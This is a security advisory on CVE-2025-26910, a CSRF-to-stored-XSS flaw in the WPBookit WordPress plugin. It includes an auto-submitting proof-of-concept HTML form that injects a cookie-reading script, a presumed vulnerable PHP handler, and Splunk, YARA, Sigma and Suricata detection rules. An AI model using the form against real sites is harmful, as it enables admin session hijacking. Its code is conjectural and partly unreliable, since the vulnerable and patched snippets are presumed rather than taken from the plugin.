CVE-2025-26910

Executive Summary

CVE-2025-26910 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin WPBookit by Iqonic Design, affecting versions up to and including 1.0.1. The vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, specifically enabling Stored Cross-Site Scripting (XSS). This means an attacker can craft a malicious request that, when executed by an admin, injects persistent JavaScript into the site. The CVSS score is 7.1 (High), with a low attack complexity but requiring user interaction. No public exploit code or patch is currently available, making this a significant risk for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The supply chain risk is elevated because:

• No patch is available from the vendor (Iqonic Design).
• The plugin may be bundled in commercial themes or site packages.
• Administrators may not be aware of the vulnerability, leading to prolonged exposure.
• Attackers could target outdated plugin installations through automated scanning.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim (admin) must click a link or visit a malicious page.
• Scope (S): Changed – The CSRF can impact the WordPress site’s integrity and confidentiality.
• Confidentiality (C): Low – Limited data exposure via XSS.
• Integrity (I): Low – Stored XSS can modify site content.
• Availability (A): Low – Potential for defacement or script injection.

Threat Level: High. The combination of CSRF and Stored XSS allows an attacker to execute arbitrary JavaScript in the context of the admin’s session, potentially leading to account takeover, data theft, or site defacement.

Deep Dive & Mechanics

The vulnerability resides in the WPBookit plugin’s administrative functions. The plugin fails to implement proper CSRF tokens (nonces) on certain state-changing requests. An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the WPBookit plugin.

The forged request can modify plugin settings or inject malicious content (e.g., via a wp_ajax or admin-post action) that is stored in the WordPress database. Because the request is made in the context of the admin’s session, the plugin processes it as legitimate. The injected content (Stored XSS) then executes when other users (including other admins) view the affected page.

Attack Flow:

1. Attacker identifies a target WordPress site running WPBookit <= 1.0.1.
2. Attacker crafts a CSRF payload that includes a Stored XSS vector (e.g., <script>alert('XSS')</script>).
3. Attacker hosts the payload on a malicious page or sends it via email.
4. An authenticated admin visits the malicious page, triggering the CSRF request.
5. The WPBookit plugin processes the request, storing the XSS payload.
6. When any user (including the admin) views the affected page, the XSS executes.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the plugin’s admin AJAX handlers. A typical vulnerable pattern would be:

Vulnerable Code (wpbookit/admin/class-wpbookit-admin.php):

add_action('wp_ajax_wpbookit_save_settings', 'wpbookit_save_settings');
function wpbookit_save_settings() {
    // No nonce check
    update_option('wpbookit_settings', $_POST['settings']);
    // No sanitization of $_POST['settings']
}

Patched Code (Hypothetical):

add_action('wp_ajax_wpbookit_save_settings', 'wpbookit_save_settings');
function wpbookit_save_settings() {
    // Add nonce check
    if (!wp_verify_nonce($_POST['_wpnonce'], 'wpbookit_save_settings')) {
        wp_die('Security check failed');
    }
    // Sanitize input
    $sanitized_settings = array_map('sanitize_text_field', $_POST['settings']);
    update_option('wpbookit_settings', $sanitized_settings);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress 6.x on a local server (e.g., XAMPP, Docker).
2. Install WPBookit plugin version 1.0.1.
3. Create an admin user account.

Exploitation Steps:

1. Craft a CSRF + Stored XSS payload. Example HTML file (csrf_exploit.html):

<html>
<body>
<form action="http://target-site/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="wpbookit_save_settings">
    <input type="hidden" name="settings" value='{"custom_js":"<script>alert(document.cookie)</script>"}'>
    <input type="submit" value="Click me">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

2. Host this file on an attacker-controlled server.
3. Send the link to the target admin (e.g., via email or social engineering).
4. Once the admin visits the page, the CSRF executes, injecting the XSS payload.
5. The XSS payload will execute whenever the admin views the WPBookit settings page.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual AJAX requests to admin-ajax.php with action wpbookit_save_settings or similar.
2. Check for missing nonce parameters in POST requests.
3. Review plugin settings for unexpected JavaScript or HTML content.
4. Use a Web Application Firewall (WAF) to block requests with suspicious payloads.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" action=wpbookit*
| table _time, src_ip, user_agent, form_data

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=wpbookit_* and no _wpnonce parameter.
  • Outbound connections from the WordPress server to attacker-controlled IPs (if XSS exfiltrates data).
• File IOCs:
  • Modified wp_options table entries containing wpbookit_settings with embedded JavaScript.
  • Suspicious files in /wp-content/uploads/ or plugin directories.
• Behavioral IOCs:
  • Unexpected changes to plugin settings.
  • Alerts from security plugins (e.g., Wordfence) about XSS attempts.
  • Admin users reporting strange pop-ups or redirects.

Detection Engineering

YARA Rule

rule CVE_2025_26910_WPBookit_CSRF_XSS {
    meta:
        description = "Detects WPBookit plugin files with missing nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26910"
    strings:
        $ajax_action = "wp_ajax_wpbookit_" nocase
        $missing_nonce = "wp_verify_nonce" nocase
    condition:
        $ajax_action and not $missing_nonce
}

Sigma Rule

title: CVE-2025-26910 WPBookit CSRF to Stored XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects CSRF attempts targeting WPBookit plugin
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=wpbookit*'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-26910 WPBookit CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wpbookit"; http_client_body;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPBookit plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=wpbookit* and missing nonce.
3. Educate administrators about phishing attacks that could trigger CSRF.

Long-term Fix:

• The vendor (Iqonic Design) must release a patched version that adds CSRF nonce verification and input sanitization.
• Alternatively, apply a manual patch by adding wp_verify_nonce() checks to all AJAX handlers in the plugin.

Workaround:

• Use a security plugin like Wordfence to add CSRF protection.
• Restrict admin access to trusted IPs only.

Valters IT